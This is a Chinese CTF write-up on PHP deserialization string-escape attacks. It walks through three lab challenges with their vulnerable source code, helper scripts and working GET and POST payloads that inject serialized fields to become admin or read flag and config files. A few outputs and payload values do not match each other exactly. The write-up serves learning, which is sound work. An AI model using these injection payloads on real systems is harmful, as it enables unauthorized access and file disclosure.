前言:
从CTFshow上做的一道反序列化字符串逃逸的题,第一次接触,想了半天(可能是我太菜了>__<)后来才发现其实不难理解,真的需要动手写脚本操作一下,光看不好理解message.php:
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
index.php:
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
首选明确几点:
• PHP 在反序列化时,对类中不存在的属性也会进行反序列化
• PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的
反序列化字符串逃逸类似于注入,通过拼接、闭合这种思想构造字符串
回到题目~
拿到flag的条件是$msg->token=='admin'
但题目中token
初始化的值是user
。再看$umsg = str_replace('fuck', 'loveU', serialize($msg))
这个替换语句,将序列化后,4个字符长度的fuck
替换成5个字符长度loveU
。然后再将反序列化的结果拿去比较token=='admin'
为此,我们可以想到反序列化字符串逃逸
要让token=='admin'
,序列化的形式应该这样:O:7:"message":1:{s:5:"token";s:5:"admin";}
反序列化出来就是class message{ public $token='admin';}
其中:s:5:"token";s:5:"admin";
共24个字符
<?php class message{
public $from='d';
public $msg='m';
public $to='1';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}
我们将字符串插入到$to
中,但要注意闭合,所以要加上"
;
(闭合前面字符串)和}
(闭合 类结束符)";s:5:"token";s:5:"admin";}
这一共27个字符长度就是我们需要插入的字符串
<?php class message{
public $from='d';
public $msg='m';
public $to='1";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
假如将上面这个输出反序列化,会这么样呢?
会报错!因为s:28:"1"
此处,PHP认为此处的to
的值是1,所以长度是1。但给的是28啊,这相差了27个字符长度(就是我们插入字符串的长度),不符合PHP认为的就报错了
我们利用前面的loveU
替换fuck
补充这27的差值
一个fuck比一个loveU多一个长度,27个fuck就会多出27个长度
<?php class message{
public $from='d';
public $msg='m';
public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
public $token='user';
}
$msg= serialize(new message);
print_r($msg);
输出: O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
通过替换:
O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:136:"1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}
注意str_replace()替换后,136这个值是不变的!而此时,136个字符长度读到的是1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
后面的";s:5:"token";s:5:"admin";}
就分离开来了,反序列化后就是token=admin
且}
是结束符号,";s:5:"token";s:4:"user";}
是不会被反序列化的!这样一看,就是反序列化字符逃逸了,反序列结果如下
message Object
(
[from] => d
[msg] => m
[to] => 1loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU
[token] => admin
)
即使题目初始化:public $token='user'
我们也可以利用替换导致的长度变化,构造出我们要想的
payload:
?f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
[0CTF 2016]piapiapia
首先是扫描拿到www.zip,然后进行分析:
1.先看index.php文件:
没啥别的,就是长度要求罢了
2.register文件:
发现一个注册文件,也没啥,常规注册,也有长度要求
3.update.php:
注册完后直接跳转到update.php
可以看到这些注册信息都是被存入$profile
数组中,且有过滤
然后这个$profile数组会被序列化传到update_profile
这个方法下处理,然后跳转到profile.php页面进行查看。
我们先看update_profile这个方法所在的class.php,跟进
4.class.php
发现先经过父类中filter方法
进行过滤处理后才进行了更新操作
查看filter方法:
发现会将select ... where
这些关键词替换成hacker
。
联系这是序列化传输并且有preg_replace造成的长度变化,可以大胆想到反序列化字符串逃逸
5.profile.php
发现会将之前序列化的信息反序列化然后展示到这个页面,有个file_get_contents显然是关键,我们需要用它包含flag进来,那flag在哪呢?
6.config.php
这是最后一个我们还没审的文件,结果一看发现flag就在这文件中
所以思路出来了:
我们要利用filter方法中的pre_replace函数,将 where(5长度) 替换成 hacker(6长度),然后进行反序列化字符串逃逸,令profile[photo]=config.php这样就包含了这个文件了。
但在update.php中
这就很恶心,因为我们必然会用到大量的字符长度在nickname处进行操作。但有个知识点:
数组在某些函数的特殊使用:
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null //本题用到这个特性
nickname传入数组就能使strlen返回NULL,从而绕过
<?php
$profile['phone'] = 13666974123;
$profile['email'] = '123123123@qq.com';
$profile['nickname'][] = "name"; //数组形式!!
$profile['photo'] = 'upload/' . md5('aaa');
echo serialize($profile);
?>
输出:
a:4:{s:5:"phone";i:18888888888;s:5:"email";s:16:"123123123@qq.com";s:8:"nickname";a:1:{i:0;s:4:"name";}s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}
我们要插入到nickname处,这里一共34个字符,就需要34个where(nickname的长度是204,在where被hacker替换后,这长度还是204,而204刚好读完最后一个where,后面的字符串就逃逸出来了):
";}s:5:"photo";s:10:"config.php";} //34长度
模拟传入后端的序列化字符:
a:4:{s:5:"phone";i:18888888888;s:5:"email";s:16:"123123123@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/47bce5c74f589f4867dbd57e9ca9f808";}
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这是反序列化字符串逃逸——长度减少的情况:
到phpinfo页面寻找一些信息,猜测是flag的位置,通过检索一些关键词append、include、root、core、flag,发现了flag文件:d0g3_f1ag.php
关键代码是这些:
extract($_POST);
...........
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
$serialize_info = filter(serialize($_SESSION));
.........
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
$serialize_info = filter(serialize($_SESSION));
:先将$_SESSION数组反序列化才进行过滤,要ban的字符直接替换为空。
我们要令 $userinfo['img']=d0g3_f1ag.php
,但是有一个sha1函数会处理$_SESSION['img']
导致我们不能够直接通过extract($_POST)
赋值,但后面有个序列化,于是想到反序列字符串逃逸了
有两种解法:键名处引起的变化 与 键值处引起的变化
一、键名处引起的变化 :
先模拟PHP进行序列化
<?php
$_SESSION['flagflaga']='';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==' ;
echo serialize($_SESSION);
?>
输出:
a:2:{s:8:"flagflag";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为我们在key值处赋值了会长度减少的flagflag,于是乎序列化出来被filter处理后会缺失8个长度。关键之处:我们就是要利用这8个长度去吞掉字符,以致构造出来的值拼接后能正常的反序列化出来。
<?php
$_SESSION['flagflag']='";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='此处是题目中的img值' ;
echo serialize($_SESSION);
?>
输出:
a:2:{s:8:"flagflag";s:49:"";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:27:"此处是题目中的img值";}
payload:
POST传参:(因为extract函数)
_SESSION["flagflag"]=";s:1:"a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
二、键值处引起的变化 :
<?php
$_SESSION['user']='flagflagflagflagflagflag';
$_SESSION['function']='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='这里是题目中的img' ;
echo serialize($_SESSION);
?>
输出:
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:24:"这里是题目中的img";}
经过filter过滤:
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:24:"这里是题目中的img";}
此时我们构造的img键值对逃逸出来了,但出现键值对与反序列时元素个数不对应的情况 因为是a:3,我们的是a:2,所以需要在输入时多加一个键值对
多加一个 s:1:"d";s:2:"DD";
输入变成:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:2:"DD";}
注意会有三个数组元素!如果我们通过构造致使题目的img键值对被丢弃,我们就只剩下user键值对和我们构造的img键值对了(function键值对被吃了),这一共两个,但题目在序列化时就确定了是3个 (a:3
)
payload:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:2:"DD";}
总结:需要注意序列化与反序列化时元素个数的一致!